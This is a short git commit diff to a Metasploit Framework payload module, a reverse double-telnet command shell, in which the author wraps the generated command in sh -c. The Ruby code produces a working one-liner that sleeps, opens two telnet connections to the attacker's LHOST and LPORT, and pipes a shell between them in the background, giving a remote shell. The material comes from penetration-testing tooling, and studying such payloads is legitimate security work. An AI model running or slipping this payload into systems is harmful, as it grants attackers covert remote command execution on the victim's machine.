Minor tweak (run inside of sh -c '')

git-svn-id: file:///home/svn/framework3/trunk@8107 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-01-13 20:19:51 +00:00
parent dded66d71a
commit 831833667a
1 changed files with 6 additions and 5 deletions

View File

@ -3,7 +3,7 @@
##
##
# This file is part of the Metasploit Framework and may be subject to
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
@ -31,7 +31,7 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseTcpDouble,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'telnet',
'RequiredCmd' => 'telnet',
'Payload' =>
{
'Offsets' => { },
@ -46,18 +46,19 @@ module Metasploit3
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd =
"(sleep #{3600+rand(1024)}|" +
"sh -c '(sleep #{3600+rand(1024)}|" +
"telnet #{datastore['LHOST']} #{datastore['LPORT']}|" +
"while : ; do sh && break; done 2>&1|" +
"telnet #{datastore['LHOST']} #{datastore['LPORT']}" +
" >/dev/null 2>&1 &)"
" >/dev/null 2>&1 &)'"
return cmd
end
end